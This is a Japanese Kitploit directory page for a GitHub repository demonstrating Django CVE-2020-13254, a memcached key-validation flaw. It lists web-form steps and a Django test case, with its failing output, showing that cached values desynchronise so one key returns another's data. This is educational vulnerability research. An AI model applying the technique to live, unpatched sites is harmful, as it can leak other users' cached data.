Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
django-cve-2020-13254 — Django CVE-2020-13254 の脆弱性デモンストレーション | Kitploit
ツール/GitHubGitHub/danpalmer/django-cve-2020-13254
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Django CVE-2020-13254 の脆弱性デモンストレーション

リポジトリを見る
2126年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Django CVE-2020-13254

このリポジトリは、CVE-2020-13254 の悪用を2つの方法で示しています。Webインターフェースを介した方法と、失敗するテストケースを介した方法です。

詳細については、以下を参照してください:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Web経由での悪用

この例では、キャッシュに値を設定するフォームと取得するフォームの2つを持つWebインターフェースを提供します。これらは、Djangoキャッシュバックエンドへの呼び出しに直接変換されます。コードベースはセッションや認証システムを実装していないため、同じブラウザタブでの複数の使用は、異なるマシンを使う複数のユーザーと区別がつきません。

悪用するには:

  1. キー A と B に値 a と b を設定します。
  2. C D に値 c d を設定しようとします。これはエラーになります。
  3. キー A を取得しようとすると、誤って結果が返ってきません。
  4. キー B を取得しようとすると、誤って結果が a になります。

テストによるデモ

このプロセスは、以下のようにテストケースとして表現できます:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

これは次のエラーで失敗します:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

set の後、返されるキャッシュ結果が実行されたクエリと同期しなくなります。

ツールをダウンロード